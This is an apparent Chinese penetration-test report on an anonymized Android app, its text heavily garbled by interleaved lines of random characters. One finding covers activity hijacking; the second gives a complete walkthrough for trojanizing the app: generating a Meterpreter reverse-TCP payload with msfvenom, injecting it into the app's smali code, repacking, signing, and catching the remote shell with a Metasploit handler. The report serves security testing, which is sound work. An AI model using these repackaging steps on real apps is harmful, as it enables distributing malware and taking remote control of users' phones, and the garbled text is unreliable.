9 O# F9 h1 X2 q3 q$ M5 ~2 F
' w- W; n3 S2 Q) O9 u! ~ 8 e7 y+ r) R1 ?& N* n, c+ o
4 U' {2 r8 i! m2 d0 r 表1-2 测试结果
; Z1 S) f, }, W0 n( {3 F" X; Z4 {" L. q; l4 J+ g
% _; W3 C0 {$ x' f3 Z% U* a4 x
- c3 @1 v3 [' O, N/ P" O* a8 l
' u& F! d7 K! E. U0 J
& r" s" O) Y8 M4 B( l
- [ K' P4 f" d+ b/ P
: Q, }7 S5 T& @% T$ R- `0 S
0 P9 w. g2 I u) p2 S2 c
: s* e( a8 k% P( m4 s' O* |- S
, J5 h0 J6 u U
8 O# Y1 y! b& L$ j- ` 2 检测结果
5 G0 B/ |& o& E& D1 O4 R8 K, k
# c, \% h# q- r" E' R; [
8 x: d8 u- z0 W! T( E% C% P3 n P) }
, j* {8 x& E6 W/ p* K. f; c, p! q& g- g, ~% m3 X, y4 P1 a
2.1 某某某
' e9 M$ c% } a( _; Y f
& i9 X, K/ r9 x0 X$ d( H2 j! F; y
1 ^: Y- ~" `1 j* H- u
# [* }+ k* p1 E c' A" `; Q . r9 m) {! i- m; D F
}! O2 s( ?& a# S9 i/ x
2.1.1检测目标
" H; b+ Z: X; b6 m3 ~% w+ }
% Q/ ?1 ?& T: S& @
% o/ J* b5 K! r; G1 k, S H
7 T9 {0 C" ]3 B+ E : U2 U% g! h8 k1 {3 v/ s' Q0 o5 g& Y: p9 H
; Y# T7 u. b2 Z. y- n$ U5 K
目标地址: 某某某某某某APP
% J- @9 T/ C; b& C
& j# B: b( _2 K2 R. [
1 d7 U" ?4 C& r1 s$ q
/ {; j/ n' h5 K. x& k3 L. k
4 a9 v& }1 ?4 q3 b
9 k, p1 {5 {( E+ G 2.1.2检测结果 % i+ ?1 C% a' ~# z3 T$ }. a$ D
/ [& ^$ U* m% h3 g* z! T9 V) ?
5 m" f5 h' L3 I8 f4 _
: W& H: g- q u0 b
3 M5 i8 Y& e2 i* u# P: a; m2 y* H4 p. w1 h* F. z6 C0 A' b
2.1.2.1 r& ~" `/ g+ r5 T3 O
& ?( D* R- E% S/ P
3 U% C% u% }0 U) n9 B& X! f) H
. r( e& w% C1 ~5 q! D0 y
0 x4 F6 r; ~' b( `- j G% d' s
7 W$ S* [0 j7 t8 t! { 漏洞链接地址:某某某某某某APP ; F% `( \9 s+ \4 I" H, Z
/ r/ M' l+ V4 O3 F* X
: k2 F; K$ I- x9 W9 s6 B+ v
4 w3 j6 Z2 Y8 |+ v# |; j( G
$ O' Z+ A) O$ Z' Z3 Q. X. Z- e2 \4 r. ^) C6 }. q
- e5 ]2 F) ?4 _
& G- d7 E- Q9 O
* P% E; F# _/ V
5 p6 q( i7 Y8 W% Y1 ]
0 r: L j; B: b+ m+ G7 K1 ~
. x/ i, O* k! [# m2 X/ Z 漏洞分析及取证: ! s" c; X5 H& E$ Q$ M
: R2 G) v; ]$ _8 y1 n+ U' |& `3 V
0 m4 A" ^+ B. g4 A
1 s+ r% B0 U; X # B/ y. H7 f* G
3 E( X L; H) ^5 b4 }2 Q
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
- A! M, |8 ?3 X0 h
: \1 i& v% S, B' ?5 _( S
' [1 o5 S# {8 g( G: d/ ^
; \4 X6 H" ^" I
+ @: x- e2 J' k& z0 F, {! g$ c/ P# k; @5 s( v$ _" g( e
# \3 P2 k% @; a. l
1 A! _8 i5 E1 g. z/ @
( @, L0 e) i* e% r' y- A: V
$ _' x- }- o2 T. q0 R) `# q : C, W( m0 {$ W3 t. t
( B) H( l( N" {/ J ( A/ o' |- E: b h+ b
/ } j& J3 g! e# @; E/ s" [. u
, J9 h. C& y2 a5 Y) n: o" Q/ {! S5 v( o6 i; g \1 N
$ z8 W/ z( k, A1 E$ u' J5 _% l/ C' W/ z0 ^8 ?( B: J, x
# [2 N" J* Z( Y3 x
( t" P! n" j8 ^# ?, Q
' @. A4 G- P( q# w
6 |' x4 X1 b' B- j! { $ e9 Z, d* j: f( ~0 G5 X/ o
) b& [1 Q+ C" Q
@3 s$ x1 S2 n* N7 A
" `( Y2 R, Q" l9 _, a E" r9 W* {
$ v/ I1 b+ m; ~2 ]6 J0 T& y
a. ^, x2 n- o! C6 ^
5 V( ~3 P) o0 a2 e% U
, |& G3 W Y. `8 M- z+ \9 s, x6 U a/ ?
0 k- H; l* V# z& [
: r3 M$ n$ I* ?0 K2 Q
6 m5 f& V: T% u) L5 L4 c
+ W+ e* I- Y1 n 5 M* L1 W1 |- `1 Z+ {( L. l
- F9 U% W' T( v$ i
漏洞危害:高 # t; V! }( ?# U# y; E
$ }" A4 h' Q+ u) K A
" ^. `3 p5 |' R+ T6 O! n; }3 @& u3 q1 ~
1 E5 k2 S7 p' A& o+ K- A* K+ ]7 C5 E' H
4 T7 }' |; @+ W5 r0 R: {; ~9 g8 t3 H/ `6 T
9 Z: p4 x( @% p1 Z" I! Q/ p
$ S! F) ]1 K; |# c$ X
o2 j9 O/ I/ K8 U0 x5 d% }. Z$ {* M
|
. P& [4 t+ |8 L+ X. v! ~) T* F9 M8 p R f
( T0 r' g7 h) @6 k( D9 S
2 V" |' v7 `. |( f. t 严重程度
( O) d( A3 \& o/ ?9 V( f& M& t1 H$ `/ Z* k8 i3 H1 N3 {
+ w* ^0 l n! X9 ] }
M) y" s Q/ I0 F; m" Y |
% `; P1 ]& s, O' p3 m& l- ?2 \6 O0 s# d- x
/ K) N) J! r3 w
7 ]6 C4 e( S! G
8 n6 a6 V! D. _/ K! A5 H1 u- c
5 ~. B# `* U- e) g4 G 高
( J5 B, A) y& ~4 v$ d( b" `! C* P) O+ p% |
4 S( n7 } `' J3 A
G5 I' R; A2 S. R
| 1 p6 K7 x! {) V
- l/ f; u7 N: D- P3 t 2 u6 E; k& e1 r! O
: |: b; P Q1 c2 |) X7 J! Z: R% S; X
; T' N$ Y/ q' ` c
& y: r9 i& E- Z/ d ■ ; U! e; m3 c( k/ \
9 Z! U/ b) o4 ]: N$ O! d3 x3 z) F
/ n) ]' a6 W! S/ M% }4 A L5 e7 [. L3 I) }- |( ^
| 8 n0 Z- L$ B, R! A" q) m
; o5 |, r7 ]( P. V
/ p- o6 P+ k/ m$ Y
8 M$ m1 {. }! d
* G+ f" n1 Z4 @1 b* H5 z8 T w# J7 f# T: d
中
, c3 V' ^4 {' A7 @ P1 ]5 d; K! S% o9 L2 W' `& ] I) N% {3 x
( m/ o- f( Z. |2 c5 R) V- C4 c% L: l, T. C6 }+ M
|
( A8 A C9 r/ q1 H) G# S9 J: A7 D
8 A! }5 Y: R* J/ Z$ P8 u! |: i3 b3 u
^+ Y! i5 Q2 S l. O+ L/ U7 @ F$ U$ U8 i; W' b. T \) p
: t( L! d" V3 P2 Z7 {& E
' K2 c ~: H. ~# u : t: K6 W/ R; P) u) x
! V. V' }0 q! o5 M9 F0 H
8 |/ J8 C& l. A% t: i
' C, o2 G; Q$ Z: I# D) a3 K: ? |
8 m% H6 {$ D3 V* A, Q4 U2 s" W1 ]3 J5 O1 z# K" s6 K
1 s: A0 N7 K' ?+ `; j" u8 h6 k1 h+ z* b- G
; J& h3 O( n& H' F
6 x0 W4 S9 s- B# I* B8 g1 v; q5 s 低 ) j# f: ^; U$ J, e! X8 t
$ ]4 k+ G+ s5 l+ a( }
0 p" N3 m2 p2 H* b$ k$ K
2 S* U4 ]& m: O5 a' ] | $ [+ ?9 ]; i/ i; f& a- V( P& ~
h9 d: R- h+ N% a Q
$ l1 ?0 S, T5 |) ~7 w
; |- z6 `6 i9 E. |$ c 6 g8 H8 h# w t3 t: ~) M7 M" V
) T; } ]! {( e# ^6 m
% `6 x3 z1 }: V x/ {
' R# N$ p {" x
' i7 [: [4 B3 u
' p$ z6 f) j, _) h |
# n* }3 `0 d6 ]7 \
, N# \9 J) P5 t8 ?5 A" r
" H0 Z L5 ]8 }0 r
- t! m( w7 d) k2 U+ L$ d
+ z0 u- H! ]7 u; u L
% x2 }3 f$ `) d7 f& L5 L
" A) h0 v0 o6 Z! Q6 }- w
: D/ u p; c6 Y0 K" W0 t 0 J! u2 ^3 |! r& M
% R- O6 F0 Z) W: b4 p$ p
9 y% N9 v ^( e9 V4 K6 `# q2 z% `
" E' N: x- J. t5 u
8 o* q6 {" {. S. Q7 N) o: C- q% I' U& ^: E8 [# D
- R4 O6 l" a$ _# D( Z1 b$ B; U% K! p0 E
: G j1 c0 Y F% W. s$ l3 e
3 m+ N! Q" w, J8 w# q/ N 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
; J# q/ n K, h* y
# R6 Q5 X+ N. z; h
* R% g; \( A6 R5 o7 K( }! \/ P0 | }& E9 T7 c
+ x! F- I/ p8 L1 x+ H1 |; x& E; @
6 I+ s3 x7 T/ L. j$ F$ ?
; Y. X9 Y7 b+ f, m/ p: i
) J% h* G) k! r- l
$ L3 [* E% S. g6 R+ A* E$ c3 r8 T2 b0 P7 a3 m8 [
) q7 U; A* o6 ^ N
3 n4 ^' P9 Z0 Q- n( ^
: B7 F# p) L4 ?7 I" N2 H3 \
' k1 Y3 b4 U+ }* I1 k: k+ X( J- t
! V1 j9 F* E$ v e
/ S1 b" r. \" y' f. w. @
, n8 k9 ?) w0 ^) D
( I+ r" |' _! F8 N) h! P* Y# R$ l1 h 2.1.2.2
/ C3 R+ ~" e8 D$ [. l* I; ]; [' U
6 ?$ a8 F& h) \7 z m c
& [" z; ?# U% W. o" x, c$ x
+ y; L' n6 P5 Q, Q# q
& t# H( z* F$ J
# V4 I) ?* L8 R' w 漏洞链接地址:某某某某某某APP ) F- k5 t( k, ?7 k
7 @+ G) C6 U1 {) Y" n
$ ~/ R6 I w8 S7 N( `$ @ H/ ^
! G! F! J! c0 h3 q, q5 } 8 B9 Q2 F4 ^3 J9 ]2 ]% ^7 a( s
1 U' Z ~' O9 Z( b* ]4 x/ g 漏洞分析及取证: # V5 G% Q9 v/ _6 z3 ]
3 _' s' p: t8 t; d; W4 z! ?# y' D
! p3 a! ? D/ U
- K$ c$ d) N8 V, T L& p6 V
) e/ m, _% m# I6 i
% T& I+ g- i" m: R7 v# f7 I 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: ) T0 H) g0 `8 O! k' q% `
! _( ~6 N9 D) `% A
( e& Q6 I4 C5 s' v
4 _1 [! v8 t1 K' G! l7 v2 M
/ j6 a5 Y0 Y4 u
$ D8 @% L' e' i; v( n# _ P( ] 用Metasploit 生成木马 apk 2 d& r" ]; z+ E5 n7 N
" U# I" |+ N; F0 [
; O; x, H" p1 k1 Z i/ a' a) k
+ T/ n- O+ V0 i 5 X! v/ i- _7 e$ A% s8 [
, S4 }/ Z9 D- F8 L E( R msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 1 S. E9 [- h) l9 k; l
y' K6 E8 [/ ~! L, l1 L
; |) n$ ~: ~" ~5 v) c4 l/ f; }5 D
2 A/ X) J7 h6 y' x* B; a. l5 X' N* f: R! b
反编译目标apk和木马apk + [# {! a9 P w4 a7 `/ N# S
3 F* s5 e6 X T+ M9 G# I
) X3 g" u; w) c+ g2 U4 k
7 Y+ v) h. Z: B* Q" Q0 R 7 B/ O+ E0 d9 @3 z0 ~3 r1 [+ w
0 K+ b3 c; ]0 K' \6 E apktool d target.apk
, [+ A/ u& E! e3 X+ m) j, Z# @4 m
& @4 R1 S) @9 S/ B: _7 L
apktool d cockhorse.apk 5 Z: w: m W( V, ` T9 d {; b8 Q
1 i: l: `2 S4 P1 Z
- j" k: G% c# m% Y' n( R# B4 S
# |- F( w: s- R
; a5 i6 |: W, V& m 木马 apk 注入目标 apk ) @1 X8 s) Y" F
) u9 n( h5 e- c# D' ^! v
' v) O; c+ L0 k9 A, s
' g9 q0 O- o9 D: F0 R1 \ ; ^* d, Y3 c' d; y6 G
0 N" Q4 @4 X1 O' j9 Y
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
/ I" y `! d- i
: @% A+ F$ q( ]! z invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
+ x! o$ p9 ^+ K' U3 W& Y
! o# h! G# s6 m8 I4 z
4 W1 }' P) ?3 I+ D
0 }, U r1 \' T Z7 m
0 a0 N! C% i# B7 z* t. T% P
0 B" c- ~4 B2 S. }7 K) z 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
0 P( O: R8 ?3 `* R- j( e& ^( v" q% f4 R% n. }/ C# w6 u$ B9 D! y( e, ^
, L" b4 O' q, l' p6 h& k
6 ? ^* l9 N( k6 Q, H9 G
5 S3 ]) s* p* z+ F/ @3 b, X7 E0 [
/ w2 R! Q$ d0 E$ e8 Y
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 ( Z' v3 R- b% N. m' \: q
3 I. L1 H, O* v' G" k
1 K5 x3 @7 g0 G; J- P
' Z9 q o2 b* y* E
4 e1 g& ?* v T$ K. n3 s! L' h$ o' ^; a" M& Q
回编译生成最终 apk
a2 A+ R, k1 \ J$ t7 Q$ M1 h. u; w6 _
- _' ^7 ^. d1 v$ n( h1 n
5 F; E6 J3 _' S' q) m! ^ # u0 s% O: c* ~- X* P4 C- _ b
5 s5 i6 _* b I1 |; T% c
重新打包
7 w3 v( \1 V, G# E, G$ C0 Y+ O3 s7 z
$ r/ g, ?) ~( \2 C' _1 _/ m- f# ?: z
" G) d) `) {" s' R9 T
7 l" r2 P6 W, }1 c1 }
apktool b -o repackage.apk target_app_floder $ m5 r0 V# j6 s
! |1 L: i5 B; U
) d4 s* W. f1 J* I+ p& _) k7 H, S$ z- S& v2 u7 o
; d7 t9 x' l" S! e5 J8 K, ?
9 I+ ~' E% t0 G- I& @0 }) P 创建签名文件,有的话可忽略此步骤
4 ^9 [& J' F% p, _. s
" n8 s& O& n% G5 n( ` J5 L
+ S4 s) ]8 ]3 K8 J4 G; X
`! i2 v: }! K
0 A6 w* N! G# r: I; F: n# L$ G4 O8 ?* [
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
' a, t+ F! W1 J. q8 I1 C$ o c) x& h7 ~2 S$ f r
1 d5 F& x2 M, b' [# x
- E7 ?! J. n6 x& [
7 H2 q' p) S! c; E5 X' r- H N( _9 ]# n% `9 I
签名,以下任选其一
% b- q; }+ C" K% n1 N0 n8 a( h7 N6 n7 j# u @2 L& q
% P5 n# G- n4 s( V% D
2 \2 Q3 [* r, b: O
5 |. {) E9 ~* O* X& q* Y) I( @
$ O+ }$ k6 B- H
jarsigner 方式
; Z0 c! e4 [9 ]) o* M' e7 J# [; E6 g2 l8 _. }- y2 x2 f+ }3 F
5 V+ l; H* v* t- X E9 \
3 q! h5 {% o( U, o 1 i `4 L6 h7 W# a- m2 ~
2 K. v- a! m) D& o o( U0 `6 h jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname - N/ L! g' H5 ]" N) g, d9 m
( x6 z- _8 Y2 I% g0 f
j5 V: T6 O9 R$ V' [
* _4 ^' d' g) t5 l$ R; h/ } . |) Q' P" b O4 {( n e# {
2 `! K5 l* T. Z! ?- M apksigner 方式
/ |! v' J$ f) }3 k( s; p* e4 r: n3 j5 Q8 {& ^) |3 J0 X
3 W6 i$ O$ ~3 \' K# j
. T2 u9 }9 Z1 T2 Y4 J& H3 |, I" H2 u* p6 D 6 ?5 ^9 J: o* |0 y. B
% g! D( ?/ r6 ^" d. h5 |- C apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk + n ~5 V6 V- O: I
" ] a& a+ r$ s$ o$ x
, Z3 ?& Z8 g2 E) z, r
7 j! i; n/ X n: [4 j+ P2 j: o
7 F5 r6 k; V4 M. \7 R2 M& v# r G: C. N5 d3 p! [ |
如需要禁用 v2签名 添加选项--v2-signing-enabled false
7 ^; y! d1 n9 z) m! j* u2 w5 I3 ~$ B+ b$ z& T' j
9 Z* }% F; C- k7 x) }( a
5 A9 c ^8 I8 _# i$ y
( ~3 g1 T" b( Q7 V' q: `5 t8 O4 m5 L$ y" m
验证,以下任选其一
5 ^" r( Z4 }1 f' [! y0 a4 k, P! i, K, w* i8 \) U: w9 ]' d
0 V$ J1 s7 s) P8 U. r7 `5 \' S5 W# z8 |& I. ?4 M8 \
! L) f0 _2 z5 G
) Z, W6 L* V( t0 p$ a' R, l& I jarsigner方式 & h+ c; X: L$ ^+ p2 o9 h
4 p' k* w5 ]% D
' i: y* b0 j6 E O4 Q" w- G# w- I' z+ \+ V4 x5 S! d
( t9 ~& {$ Y' E1 ^1 G- ?# _+ I0 Q6 g1 ^, ?/ k% e+ i r
jarsigner -verify repackaged.apk
& r1 Y1 \2 q. ?6 Q4 @
: k( a$ ?" ^* x& \$ H/ g
, m9 N7 ~# z3 Z1 Y; B) @
- Z4 R+ M- U, L' r% L Z
! ^/ X$ _* A! t# A1 x8 O# K2 \" g; m
% K7 d- i8 _" E' v+ R, r apksigner 方式
" [* h2 n9 U' j6 C/ n
4 ~5 ]* l; F9 f, f1 E" g* }1 Y0 v
' W- P* y# T9 M; F- _- `8 N$ y# B$ v# ^
8 U" I% `7 B/ |8 x7 Q8 n6 R3 X8 C4 u2 r9 m0 |9 P9 Z
apksigner verify -v --print-certs repackaged.apk % u' D3 F; `% y+ n
$ i7 ~% O- y* _2 T% P% v5 o& r
C- y. z% [& n# c0 N0 D, C; |5 c w
: i$ e& ^) I# i$ G1 c
4 j, s1 E9 O; I9 U) x keytool方式
# L9 R, c2 s+ }( \+ q! h8 K" B0 y7 o6 u0 o! M& B% J
5 W; g7 f" U D6 F2 v. k
6 R1 q& L7 r6 F- v0 Q ; T8 Y" x2 `' i! i' X+ ?* ?- y
* ?/ p2 P2 O6 U7 m7 ?/ D" S
keytool -printcert -jarfile repackaged.apk 1 o& Y V* v5 o0 |* ]5 m# p
( y3 W) o+ t0 Y
3 c% V1 S. i6 x: O& V4 `
9 w1 U( Y* U# U& O/ ?: M8 z 3 \9 A( L' } m5 s
+ |+ b% \& c- a6 x& d 对齐
8 R U* i w- B3 w8 g+ a; T+ X( o3 s/ C
* ^1 e6 f% Z* ~- m3 P
9 b7 S0 s* L3 U# I7 r& l& e 3 W' ^; [1 l$ s- d
! Y! V) b# T& _2 f8 x; }! @( X, Z
字节对齐优化
9 r" ^# ^* s- T
/ {3 o4 s N" w
( {9 W0 f3 T) L, J
" O5 S8 [' d+ T8 v1 w ( y2 r! q( N' O' a0 d% s1 u
3 R4 t( y3 |1 F# q+ k) `" d# t zipalign -v 4 repackaged.apk final.apk 4 E4 l: H7 z% C; X( h9 J) g
* @! _9 F( b& k* C. P$ u( \
* }+ K$ z9 \) G; @" ~
8 P$ o/ i, }1 D' T$ r# y , v' n& Z7 _8 K7 a1 V* D
/ A; n5 d# R5 r' B( R 检查是否对齐
$ r @& D0 u; p* I$ U& Z2 r' b/ S, x% Y- |! b" H7 ~' [2 @
- G& r, R5 O8 ^, A% O- ^+ l6 ?' o& F' p8 A
( D7 {( I N4 `* Y
* T* U# Z2 {5 F7 w4 L p2 | zipalign -c -v 4 final.apk
" j. R4 d; V3 ^- ]' I2 p' p" k0 F h, I) R$ |2 H
+ z/ T& r D( X5 O4 v ~* G8 g! M9 {, Z9 z( v
$ e- V) G I K0 j [
" q- t: Y$ d! B( V5 v 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 : _3 ~# C# V. i* P, D: B
" F4 f# U% _3 Z! a: a6 Y
# T( X* ~8 T( a! k
7 B3 F3 d$ y3 u: p! A' B# S1 ~
; s5 q4 u, a" ]! u
9 t6 \# H5 k3 b5 m/ r) b3 ]) G 启动Metasploit控制台,配置参数等待上线 7 I5 v* z% ?: e8 z0 \& K
O( Q: U9 x/ f F6 d
. W$ H3 a9 \& ]) E+ U
0 p: P' i. A" P$ g. q) f& q1 L' F4 [) E' e
, l4 a5 S% @ X
- I2 v2 b Y' U1 E0 C0 ?
在终端依次输入如下命令
0 B A* ?+ T1 y' w, o
' s8 ^% A4 s1 _( C9 y( T/ J, Z! y
* Y1 i' U c D- b
5 W/ ^, z7 V$ W7 U9 V
6 p# c8 a$ j- B: H9 Y4 P) h
9 Q9 I# J3 k% M/ [, \ msfconsole 9 v3 \* K$ K8 q3 }, I- @( k
1 ?7 P) d. x: A$ R4 [8 g
$ g8 s) s* H- Q
: M5 n2 d: e% V* n9 `: Z
$ g8 J1 O" s0 K) a* T8 R! Y% o, ?! C9 d& u/ Q5 {- D! f
use exploit/multi/handler , D- T C/ S0 v) p {
3 L/ H/ B/ ~) l) ~2 }
7 e: i: _ e7 m. Y( S
& S; w0 I5 @: d/ {8 X$ B 0 p5 ^' g: {+ E
& `; Y) l* b" K$ g" v2 K- m set PAYLOAD android/meterpreter/reverse_tcp t9 ?8 L W7 E1 c; S: v5 _* C
% y1 M t* |# F0 B F
4 p- O4 y( \* p6 K, x" ^$ u) r
$ Z" e5 ^# P6 C/ t* ]/ z3 h% _( Z
9 _- `; p: f# I7 R0 @$ L4 a& [7 j0 w; z
set LHOST 192.xxx.xx.xx
: C& y0 y7 s u6 `' I" }) F
+ @4 [% v$ s7 V" ]9 G1 B7 `
0 b* o4 N b8 K" W" W/ e
+ X3 P* g' P' N3 Q% T5 | : a( ^8 q- {+ w( I
' v H- b! N( { set LPORT 4444 6 Q- z3 K, G; s+ V6 E
6 U+ V( m \( @( f8 `
9 V) I; T3 W: X, W# }/ p$ e, d8 a4 w( b) z8 [2 [: H
# @5 m. u Y( y9 f; z% ?8 o# x$ R5 C$ u$ \: M$ y
exploit
6 a" R; W3 |8 P1 n* p4 W
& ?6 t& l4 l6 k' H0 ^, r4 n
: O" w) i/ Y+ l
& t( e/ G7 |" Z5 _8 u: l g. z
7 z# }, C/ I: T- I, s9 h) s* i2 r) U
5 V4 \+ _ P9 |; U% K3 s7 I 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
+ m; O2 v# f8 U4 e2 X: _5 R1 n) E9 d* K- @+ k% _
: v4 D' k5 F v# z" C9 r6 _: g
9 [# X7 t6 t/ r+ i9 j
3 g2 o. L8 ^; Q ]
, z! ~, I& @1 ^& J, w 漏洞危害:中 J6 w; x( v, e3 X6 f7 A L8 I% g& T( p
8 _! k) ~! p, O8 _
" \& }5 l$ N- V- ]# B4 j2 h
, }* L: k. `5 `( ]: s3 m; s$ X 2 K5 W- ]% Z; N( ?. ~# F5 b, |
) p/ o3 [" x; d; L
# x) ]: m( M9 E" J4 x, v7 X7 k4 D! k3 H4 e# n
+ L; Q2 a! ^/ Y: d e: e/ e \
; U0 L2 z+ w1 g; m
% ]1 m' q) k& G2 \5 ]! e% D* @. |% X8 I/ A3 H# R7 K/ U
. g7 O: B& D1 K, _+ e/ s2 K
5 k+ V3 u; X% ^) |+ R7 K! {* C
| 7 q! r- A! P+ n& g m8 T+ a7 Z
% p! e* }1 H( d+ S1 j5 C
+ Z7 N# C# A+ n% C/ K
# K- `, j7 f2 Q! L: ^ 严重程度 , P: m% T: D7 v4 |2 {5 Y2 _; i; Q3 S
- x, ^' ^9 _# O' ` & o5 v8 j1 n% L0 q" k
( _4 _) U$ l$ F$ A# Y
|
) t/ e# Y& i# g1 a( q- k6 O% F1 _4 U3 ?( Z
% [: V6 P/ |) p9 s) A* j& l8 H% B1 m
, D& O; K3 h8 u, V$ ` w
) [, u" _$ s; \+ j0 @ 高
) Z: y; ?! _. R8 ~/ C ^+ Z9 b+ _& b3 o8 ?: v* O) j! h8 B2 i
) _1 T- ~9 ]0 x! F
" J0 A! f! y/ l+ s( ]" }0 r# ]
|
( U' c4 G7 V5 `" H7 C1 M
* n- O$ ]5 t7 c3 d& C" l0 {3 G; g & q# n6 y- z- [* t: f
8 r; C2 i, I) W/ R0 z: n
8 q. }- V1 O8 [6 y2 R% N2 ?9 T
# s1 q: f/ u3 |3 z( X8 c! E( Y
■
( J2 e3 i: c# r( N, V# Q0 J5 p A. O. n, K. P/ I0 L( N
. Z2 r7 a/ z" n' g# v/ N1 {
! Z$ H, [9 e9 {4 j8 Z | ; g4 w& G4 N9 Z
/ w0 f& }) V! \" K- F' N+ W- m) j! k w2 {) m& ~5 M& w
! }/ j0 F0 ]& Q# p5 y+ f' U# \
* E+ g1 r6 L4 l! F+ E4 |
. e; l* Y& Z1 ]* Z& W5 I. C 中 " ]) W2 x) R* e( I8 {
; m* `/ d% J1 f2 b " I5 T. h3 W: }3 O
8 i# J+ L) u$ S, _! B
|
8 T) F$ z1 c" x$ v. a9 k u9 s. X% v3 u
5 ^9 D: f& O; u) |( ^
0 y: F' v! z8 H8 \$ ]- y$ Q3 z
# q/ q' o( p& W. m5 Y+ v
5 F# V# n( d; S) q 4 D9 o( j F$ {. O* F
9 ^2 w" P: U3 d5 H" d& h + o3 T+ U" R) ~" W2 J
" i5 W, T6 n: M% _6 I; _; I
4 H; Q3 B% J& Y- Z
( s; d- Z/ _! i8 |4 I
|
! F4 J8 |- R- L! j' h E+ [' R9 O1 T- d v, W
; ~9 c0 e) E* v$ {5 x: c
2 H: z. [8 n, t
1 o. ?! |# _# l+ U
, E8 H! r4 {! ?) x" D 低
. P* `3 t- a6 f; L% o0 O+ F) e2 N& p& t) w$ |& g3 q# ^
. U/ t; T7 i( @
' X: \# h5 m$ \
|
' o `/ B) S1 V! l7 Q) n; n7 O6 j I$ C8 j# i8 a Q2 P* W
: A/ u4 k X+ S R" S7 v8 N, f }9 n7 }* L7 }
]7 x+ |6 }% c3 i* \( n
Y6 ?7 x/ g& w8 n8 s4 v# L
" p/ ?; P, p9 }6 y, f) s: Q
* L, \ ?! X% u2 j 6 X. P. O: E! R+ p, M
5 n4 F4 F- @! [& ~, l7 `
; X- a" ?% g, A- E# y- `# L! g& q! a6 }
|
: Y. W4 L7 y$ d. X7 ^( K' _- } P5 A/ [* B! {; o& s. p8 D/ ^: U, H% V
. f# @$ z- W: [9 Z
& W0 r& }) B+ [2 j( V! g7 k- p# {
7 l2 R# k( k7 y/ S# Q2 u5 {
0 B- e3 T1 x. B
+ V H/ n1 \( R7 `: @
# f* b! z( b& c3 a
1 C8 W, s4 `0 m# _2 ^, w2 F" u: O" H4 j' L
7 M. k& z D1 ?0 t
, i) E4 i l) Z$ |7 p8 } $ [7 |- o# _* S5 _1 o# V7 G* \
' |9 s6 M6 |6 n4 N+ n
6 a% [/ ^( H# U# M& o3 b# Y9 V& r2 D4 p, t$ C
: u" q6 B( I8 X' Z$ Y. i0 q
. G @) {) C1 x7 }, d1 L z" d 修复方法:
0 a/ O9 l |- @8 V! O q# P
* t& J1 p, @: E0 U' A9 l) F3 `
' ]* F" X7 |5 _* b' [. R3 i+ X$ g9 }
6 y# Y- [. m6 _* I- C0 u' O' q
" d y! d: X% j J
1.在 APP 启动时应做签名校验防止二次打包。
* T4 W4 O6 t7 h( X: w, W& r/ {/ d/ K9 |/ c. w* }
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 . t, N: v$ j# D( f
* N' i' J% `* Z N0 G
) M [- I$ s f$ @- q2 y8 ]) k- y! \4 `$ u, z
; F, M- u) ]- f; W. ]9 \9 _
9 W: G8 b7 ]7 R( j& Q0 d1 } % c4 h+ e4 n( [! h: ?
% ~$ t2 Z7 M* z- q/ X4 n4 S
/ S6 P0 k" @ t& j' K5 }/ y/ C5 Q* L _8 F
: z- Y8 c" M9 g" g. y
) S# |8 ]0 C# V! ? f 9 G8 I5 y! G* O, N
8 b& v% z1 {3 x+ e/ [: U9 g : y4 f! p# c* S; q
1 ]( n5 x& o( s3 _
: u; V W/ k1 K0 _
6 d0 x* {; K7 f4 M" P" L* K) `! a
9 } W9 P& u6 t% ~
8 G* `5 ~5 ^. l' N! P" i